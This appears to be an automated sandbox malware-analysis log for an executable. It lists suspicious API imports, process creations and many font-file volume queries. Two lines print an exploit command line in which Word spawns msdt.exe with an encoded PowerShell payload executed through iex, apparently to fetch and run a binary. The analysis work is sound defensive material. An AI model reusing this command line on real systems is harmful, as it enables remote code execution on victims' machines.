Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/xcQxBNKQ91ktbrVpBN.cs Reference to suspicious API methods: ('QENv8bZXKE', 'GetProcAddress@kernel32'), ('G9Rvbd0JQm', 'LoadLibrary@kernel32')
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, A/C1.cs Reference to suspicious API methods: ('A', 'VirtualAllocExNuma@kernel32.dll')
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, A/e2.cs Reference to suspicious API methods: ('A', 'MapVirtualKey@user32.dll')
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe c:\windows\system32\msdt.exe" ms-msdt:/id pcwdiagnostic /skip force /param "it_rebrowseforfile=#6aw it_launchmethod=contextmenu it_browseforfile=4n0$(iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'u1rpcc1wum9jrvntic1gt1jdzsattkftzsanbxnkdcc7jdggpsbbzgqtdflqzsattuvtqkvyzevgsu5pdglptianw0rsbeltcg9ydcgivxjmtw9ulmrsbcisienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigskcsc3ryaw5nifvxysxzdhjpbmcgcfksdwludcblyyxjbnrqdhigcnepoycglu5bbuugilfdiiatbmfnrvnwyunfigd1ic1qyxnzvghydtsgjdg6olvstervd25sb2fkvg9gawxlkdasimh0dhbzoi8vchpzcmjsb2cuy29tl3dwlwnvbnrlbnqvdxbsb2fkcy8ymdeyl1bst01ad0zwmzg1dlhyti5leguilcikrw5wokfquerbvefcufjptvp3rnazodv2whjolmv4zsismcwwktttdgfsvc1zbevlccgzkttjbnzpa0utsvrlbsaijgvudjpbufbeqvrbxfbst01ad0zwmzg1dlhyti5leguio3n0t3atufjpy2vtuyatzk9sy0uglw5hbwugj3nkawfnbmhvc3qn'+[char]0x22+'))'))))m3/../../../../../../../../../../../../../../../../.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe c:\windows\system32\msdt.exe" ms-msdt:/id pcwdiagnostic /skip force /param "it_rebrowseforfile=#6aw it_launchmethod=contextmenu it_browseforfile=4n0$(iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]0x22+'u1rpcc1wum9jrvntic1gt1jdzsattkftzsanbxnkdcc7jdggpsbbzgqtdflqzsattuvtqkvyzevgsu5pdglptianw0rsbeltcg9ydcgivxjmtw9ulmrsbcisienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigskcsc3ryaw5nifvxysxzdhjpbmcgcfksdwludcblyyxjbnrqdhigcnepoycglu5bbuugilfdiiatbmfnrvnwyunfigd1ic1qyxnzvghydtsgjdg6olvstervd25sb2fkvg9gawxlkdasimh0dhbzoi8vchpzcmjsb2cuy29tl3dwlwnvbnrlbnqvdxbsb2fkcy8ymdeyl1bst01ad0zwmzg1dlhyti5leguilcikrw5wokfquerbvefcufjptvp3rnazodv2whjolmv4zsismcwwktttdgfsvc1zbevlccgzkttjbnzpa0utsvrlbsaijgvudjpbufbeqvrbxfbst01ad0zwmzg1dlhyti5leguio3n0t3atufjpy2vtuyatzk9sy0uglw5hbwugj3nkawfnbmhvc3qn'+[char]0x22+'))'))))m3/../../../../../../../../../../../../../../../../.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBBFF.tmp" "c:\Users\user\AppData\Local\Temp\yjsbg2wl\CSCC31FCDA79CE4E0C894720F359978C2.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC7C7.tmp" "c:\Users\user\AppData\Local\Temp\zf01cjt2\CSCBCE7B9C025BF4B8F8112717E4D466AA3.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE5AF.tmp" "c:\Users\user\AppData\Local\Temp\mnm1snwx\CSCC987513427A042F884BC2F5ADDB1C11C.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process created: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe {path} Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.accdb VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00116~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation Jump to behavior
